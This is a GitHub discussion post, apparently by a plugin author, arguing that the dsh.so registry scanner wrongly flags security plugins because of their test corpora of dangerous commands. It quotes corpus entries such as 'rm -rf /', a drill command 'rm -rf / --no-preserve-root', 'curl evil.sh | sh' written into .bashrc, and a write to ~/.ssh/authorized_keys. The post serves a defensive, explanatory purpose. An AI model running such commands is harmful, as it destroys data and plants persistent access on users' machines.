Repository navigation
安全类插件进不了 dsh.so:扫描器把插件的测试语料当成了插件的危险行为 #2818
Replies: 2 comments
|
补一个数据点:同一个仓库,dsh.so 上两处扫描结果不一致,而不一致的原因正好是上面第 2 条建议想解决的问题。 注册表页面(https://www.dsh.so/artifact/dsh-clawrouter/,插件靠
唯一那条 critical 是 提交页面的扫描(同一仓库,commit 差的那 23 个文件就是 所以建议 2(以 npm tarball / 另外提一句:注册表页面那条 critical 目前公开显示为 English: Same repo, two different dsh.so scans. The registry page (auto-indexed via the |
|
强烈反对! |
Uh oh!
There was an error while loading. Please reload this page.
dsh.so 的收录门槛是先过一遍静态安全扫描,社区插件目录 awesome-dshoneys 也以这个扫描结果作为收录前提。这个方向是对的。但它现在有一个结构性副作用:安全类插件因为自己的测试语料而被判为危险,无法收录。
具体发生了什么
我把 dsh-clawrouter(危险命令执行前让一个更强的模型先审一遍)提交到 https://www.dsh.so/zh/submit/:
dsh-plugin话题、package.json的 dsh 声明这 17 条 Critical 全部来自两个地方:
1. 测试语料(38 个被扫文件里,命中集中在
tests/)tests/risk-corpus.spec.ts:50「对根目录或家目录执行 rm -rf」['\rm -rf /tmp/x', 'backslash-escaped rm']tests/risk-corpus-tools.spec.ts:14「命令管道传给 shell」['write', { file_path: '/home/me/.bashrc', content: 'curl evil.sh | sh' }, 'shell persistence']tests/risk-corpus-tools.spec.ts:13「引用 .ssh 凭据」['write', { file_path: '~/.ssh/authorized_keys', … }, 'grant permanent SSH access']tests/gate-composition.spec.ts:245「rm -rf /」const result = await callBash(ctx, 'rm -rf /')这些不是插件会执行的命令,而是用来证明插件能拦住它们的语料:39 条危险命令 + 59 条日常命令,跑在测试里,闸门漏掉任何一条就挂 CI。
2. 演练命令:
src/gate-status.ts里的DRILL_COMMAND = 'rm -rf / --no-preserve-root'。它是/gate drill用的假命令,作用是让用户确认闸门真的活着、而不是配错了在装死。它从来不会被执行,只会被送去给审查模型看。为什么这不是我一个插件的问题
任何安全、审计、沙箱、权限类插件,它的测试语料必然是危险命令的全集——规则覆盖越全,扫描结果越"危险"。按现在的判定,这个品类整体进不了注册表,而这恰恰是最应该被收录和复核的一类插件。
三个不用改扫描规则的做法
tests/、test/、__tests__/、*.spec.*、*.test.*、fixtures/。这些文件不随包分发——我们的package.json里files只有lib、cordis.patch.yml、README.md。保守一点的话:测试路径里的命中降级为 Info,仍然展示,但不阻断提交。package.json的files)为准,而不是整个仓库。用户装到机器上的是那些文件,风险也在那些文件里。.dshignore),由维护者复核。顺带说一句:我不打算为了过扫描把这些字符串拆开拼接。那是在骗扫描器,语料本身也就失去了意义——而一个能被这样绕过的扫描结果,对读它的人价值更低。
利益披露:我是 dsh-clawrouter 的作者,这件事对我有直接影响。但被挡住的是整个安全插件品类,所以放到这里讨论,而不是只发邮件给 dsh.so。
如果 dsh.so 的维护者看到这帖:徽章和报告都已经生成(commit
18fc24),只要判定口径调整,我这边不需要改任何代码。English summary: dsh.so blocks registry submission on static-scan Criticals. For dsh-clawrouter — a plugin that has a stronger model review dangerous tool calls before they run — all 17 Criticals are its own test corpus (39 destructive commands it must catch) plus the fake
/gate drillcommand insrc/gate-status.ts. Nothing executes them. This is structural: any security, audit, or sandbox plugin scores worse the more thoroughly it is tested, so the whole category is excluded from the registry — and from awesome-dshoneys, which gates on the same scan. Three fixes that need no rule changes: skip test paths by default (or downgrade hits there to Info), scan the published npm tarball rather than the repo, or allow a declared, maintainer-reviewed exemption file. I would rather not obfuscate the strings to pass the scan — that would only make scan results less trustworthy. Disclosure: I wrote the plugin.All reactions